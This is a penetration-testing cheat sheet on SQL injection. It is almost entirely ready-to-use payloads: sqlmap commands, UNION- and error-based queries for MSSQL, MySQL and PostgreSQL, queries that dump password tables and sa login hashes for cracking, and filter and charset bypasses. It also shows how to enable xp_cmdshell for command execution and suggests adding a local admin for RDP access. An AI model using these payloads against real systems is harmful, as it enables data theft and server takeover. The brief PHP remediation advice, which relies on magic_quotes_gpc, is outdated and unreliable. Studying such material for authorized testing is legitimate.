SQLi

MSSQL Cheatsheets:

sqlmap

  • --forms :Login page

  • --batch: No prompts

  • --string: string which is always present in true output pages.

    • --not-string: String to match when query evaluates to 'False'

  • --technique=U : Union-Based SQLi

  • --dbms=<DBMS>

  • --keep-alive: Keep a persistent connection. Reduces time taken to dump data.

  • For Post Parameters

    • --data=<POST string>

    • -p : parameter

  • -r : <request-file>

  • --banner: Get DB Banner

  • --users

  • --is-dba

  • --dbs

    • -D <DBname> --tables

    • -T <table-name> --columns

    • -C <column list> dump

sqlmap -u "url" --forms --dbs --risk=3 --level=5 --batch --dump --host="xxxx" -p param1 --tamper="between,randomcase,space2comment" --random-agent --threads=5

Identification

#Detection on integers. Mathematical operations performed by the database
/article.php?id=2-1 
/article.php?id=2-0

#Detection on strings
#Strings in an SQL query are put between quotes when used as value.
/article.php?id=1'

#String concatenation
Oracle: serv'||'ices'
MS-SQL: serv'+'ices'
MySQL:  serv' 'ices' (note the space)

#Fingerprinting for numeric data: Each of these items evaluates to 0 on the target database and generates an error on the other databases:
Oracle: BITAND(1,1)-BITAND(1,1)
MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL: CONNECTION_ID()-CONNECTION_ID()

#Boolen conditions
' and '1'='1
' and '1'='0

#Int concatenation
1+1
3-1
#If successful, proceed:
67-ASCII('A')
51-ASCII(1)

#ORDER BY 
1 ASC --
a DESC --

#When exploiting ORDER BY, UNION, WHERE, OR will  not work. Use nested queries to replace the column number:
(select 1 where <<condition>> or 1/0=0)

#Comments in MSSQL:  
--
-- --
-- -
--<space>  
#

#Select version
#MSSQL, MySQL
select @@version;
#Oracle
SELECT banner FROM v$version

In-band/UNION-Based SQLi

  • Leverages the same channel used to inject the SQL code, .ie the pages generated by the web app.

  • Exploiting SQL injection using UNION follows the steps below:

    1. Find the number of columns to perform the UNION

    2. Find what columns are echoed in the page

    3. Retrieve information from the database meta-tables

    4. Retrieve information from other tables/databases

Exploitation Workflow

  1. Check for errors : author='

  2. Identify No: Of Columns. There are two methods to get this information:

  • Using UNION SELECT and increase the number of columns.

    • 3 UNION SELECT NULL, NULL ;--

    • 3 UNION SELECT null,null,null FROM dual

    • 3 UNION SELECT 1,2,3;--

In this case, the web app responds with an error at UNION SELECT NULL, NULL, NULL, NULL; -- , indicating there are 3 columns. For Blind enumeration, use a valid value for id. In this case 9999.

  • Using ORDER BY statement.

    • author=' order by 1,2,3 --

    • author=' order by 1; --

    • author=' order by 4; --

3.Identify Column Data type

If the DBMS performs type enforcing on UNION statements, you cannot perform a UNION between an integer and a string. Eg: SELECT 1 UNION 'a';

  • Substitute one of the NULL fields in our payload with a string/integer.

  • If the String Type is used, query will work. If not, web app will output an error.

#Current Payload
' UNION SELECT null, null; -- -
#Test first field's type
' UNION SELECT 1, null; -- -
#If the web app works currently we can proceed with:
' UNION SELECT 1, 1; -- -

#If there's an error try,
' UNION SELECT 1, 'a'; -- -

4.Identify Names of Database Tables & Columns

#MS-SQL,MySQL,SQLite,Postgresql
SELECT table_name,column_name from information_schema.columns--
SELECT table_name,column_name FROM information_schema.columns where column_name LIKE ‘%PASS%’

#For Oracle
SELECT table_name,column_name FROM all_tab_columns

#When multiple columns are returned from a target table, these can be 
concatenated into a single column. This makes retrieval more straightforward, 
because it requires identifi cation of only a single varchar fi eld in the original 
query:
Oracle: SELECT table_name||’:’||column_name FROM all_tab_columns
MS-SQL: SELECT table_name+’:’+column_name from information_schema.columns
MySQL: SELECT CONCAT(table_name,’:’,column_name) from information_schema.columns
  • Identify table names. [In this example, we had identified the table with 3 columns]

    • author='union select table_name,null,null from all_tables --

  • Identify Column names.

' union select column_name,null,null from all_tab_columns where table_name='information_schema.columns';--

Split the results of a query. List all columns in each table.

1 UNION SELECT 1,concat(table_name,':', column_name),3,4 FROM information_schema.columns;--

  • Identify Column field value

' union select username,null,null from "users"--

' union select PASSWORD,null,null from "WEB_ADMINS"--

Retrieve Information

#All
12' UNION ALL SELECT user_id from users WHERE id=2; -- - 

# MySQL

#User used by the application to connect to the database
current_user()
#Database
database()
#Version of the database using 
@@version

#List of all tables: 
SELECT table_name FROM information_schema.tables
#List of all columns: 
SELECT column_name FROM information_schema.columns

Error-Based SQLi

PostgreSQL SQLi Blog Post :https://www.noob.ninja/2019/07/exploiting-tricky-blind-sql-injection.html

MSSQL

#Retrieve version
convert(int,@@version)--
999999 OR 1 in (SELECT TOP 1 CAST(@@version as varchar(4096))) --

#Current user
convert(int,user_name())--
99999 OR 1 in (SELECT TOP 1 CAST(user_name() as varchar(4096))) --

#Extract number of databases
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]..[sysdatabases] )+CHAR(58)+CHAR(58)))--

#Iterate accessible databases from master_database. Replace N with a number starting from 0
convert(int,db_name())--
99999 OR 1 in (SELECT TOP 1 CAST(db_name(0) as varchar(4096))) --
1 AND 1=CONVERT(INT,(SELECT CAST(name AS nvarchar(4000)) FROM master..sysdatabases WHERE dbid=N))--

#Enumerate Table Count from Current DB
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM information_schema.TABLES )+CHAR(58)+CHAR(58)))--

#Enumerate Table Count from other DB:
CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000))+FROM+<someotherdb>..sysobjects+)+CHAR(58)+CHAR(58)))--

#Enumerate all Tables in Current DB. (Replace N with a number starting from 1)
CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top N TABLE_NAME FROM information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)+CHAR(58)))--
convert(int,(select+top+1+table_name+from+information_schema.tables))--
convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('<TABLE NAME>')))--

#Enumerate Tables from other DBs
SELECT name FROM <someotherdb>..sysobjects WHERE xtype = ‘U’;
convert(int,(select+top+1+table_name+from+<someotherdb>.information_schema.tables+)))--
convert(int,(select+top+1+table_name+from+<someotherdb>.information_schema.tables+where+table_name+not+in+('<TABLE NAME>')))--

#Enumerate Columns of Table from Current DB
convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='<FIRST ENUMERATED TABLE NAME>'))--
convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='<TABLE NAME>'+and+column_name+not+in+('<COLUMN NAME>')))--
99999 OR 1 in (SELECT TOP 1 CAST(<db name >..syscolumns.name as varchar(4096)) FROM <db name>..syscolumns)-- 

#Enumerate Columns of Table from Other DB
convert(int,(select+top+1+column_name+from+<DB-Name>.information_schema.columns+where+table_name='<FIRST ENUMERATED TABLE NAME>'))--
convert(int,(select top(1) column_name from <DB-name>.information_schema.columns where table_name='<TABLE-NAME>')))--
convert(int,(select+top+1+column_name+from+<DB-Name>.information_schema.columns+where+table_name='<TABLE NAME>'+and+column_name+not+in+('<COLUMN NAME>')))--

#Dump Data from columns from Table in Current DB
convert(int,(select+top+1+<COLUMN>+from+<TABLE>)))--
convert(int,(select+top+1+<COLUMN>+from+<TABLE>+where+<COLUMN>+not+in+('<COLUMN>')))--
99999 OR 1 in (SELECT TOP 1 CAST(<column name> as varchar(4096)) FROM <db-name>..<tablename> WHERE <column name> NOT IN (<retrieved data list>)); -- -

#Dump Data from columns from Table in Other DB
convert(int,(select top(1) <column-name> column_name from <DB-name>.dbo.<TABLE NAME>)))--
convert(int,(select+top(1)+<column-name>+column_name+from+<DB-name>.dbo.<TABLE NAME>+WHERE+<column-name>+NOT+IN+('<Dumped value>'))))--


#%2b - @. This ensures that the select id has datatype varchar thus making the cast error possible. Iterate with all values from output.
#Useful when requesting value has datatype diff from varchar
99999 OR 1 in (SELECT TOP 1 CAST(id as varchar(4096))%2bchar(64) FROM school..users WHERE id NOT IN ('')); -- -
99999 OR 1 in (SELECT TOP 1 CAST(username as varchar(4096)) FROM school..users WHERE id=1); -- -

#Grab the sa user's credentials for offline cracking.
#For MSSSQL Server 2000
SELECT name, password FROM master..sysxlogins
#For MSSSQL Server>=2005
SELECT name, password FROM master.sys.sql_logins

MySQL

  • Comments in MySQL

    • # character

    • In MySQL, the -- comment style requires the second dash to be followed by at least one whitespace or control character (such as a space[+], tab[%09], newline)

#Payload Skeleton
select 1,2 union select count(*), concat(<info to extract>, floor(rand(0)*2)) as x from information_schema.tables group by x;

#Get DB Version
select count(*), concat(version(), floor(rand(0)*2)) as x from information_schema.tables group by x;

#Boolean
admin"OR"1"="1" #
admin' OR 1=1 -- 
#Limit the no: of Rows returned
admin' OR '1' =='1' LIMIT 1 -- 

#NO-SPACE Filter Bypass
#Use tab. Use encoding[%09]
admin'%09OR%091=1%09--%09
admin'OR'1'='1';#

#When 'GBK' charset is used.
#Database driver is not aware of the charset used it will not perform the right escaping 
and create an exploitable situation.
# \xBF' (URL-encoded as %bf%27) 
%bf%27 OR 1=1 --
%bf%27+OR+1=1%2d%2d
%bf%27+OR+1=1+#

PostgreSQL

#Cast technique
#Get DB Version
select cast(version() as numeric);

#Enumerate Tables. Increment offset value.
select cast((select table_name from information_schema.tables limit 1 offset 0) as numeric);

Blind SQLi

Identify the charset

  • Query eg: user_name();

ASCII(UPPER(SUBSTRING((MY Query),<position>, 1)))=ASCII(SUBSTRING((My Query),<position>,1))
ASCII(LOWER(SUBSTRING((MY Query),<position>, 1)))=ASCII(SUBSTRING((My Query),<position>,1))

Out-Of-Band

SQLi Crypto

  • Always check for parameters where attacker's input is encrypted on the response. This feature can be used to generate encrypted SQLi payloads.

MSSQL Payload: ' WAITFOR DELAY '0:0:5' --

RCE

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

#Note the output of the command isn’t returned. Confirm with ping. Default delay 4s.
exec master..xp_cmdshell 'dir c:'; --
exec master..xp_cmdshell 'ping localhost'; --

#Tip: Add a LA user > RDP into Target

Bypass Protections

The single quotation mark is not required if you are injecting into a numeric data fi eld or column name. If you need to introduce a string into your attack payload, you can do this without needing quotes. You can use various string functions to dynamically construct a string using the ASCII codes for individual characters.

#These 2 queries are the equivalent of select ename, sal from emp where ename=’marcus’

#Oracle 
SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)||
CHR(114)||CHR(99)||CHR(117)||CHR(115)
#MS-SQL
SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)
+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)
n If the comment symbol is blocked, you can often craft your injected data 
such that it does not break the syntax of the surrounding query, even 
without using this. For example, instead of injecting:
‘ or 1=1--
you can inject:
‘ or ‘a’=’a

Remediation

PHP

Enable magic_quotes_gpc and disable display_errors in the PHP configuration (/etc/php5/apache2/php.ini) and restart the web server (/etc/init.d/apache2 restart).

Last updated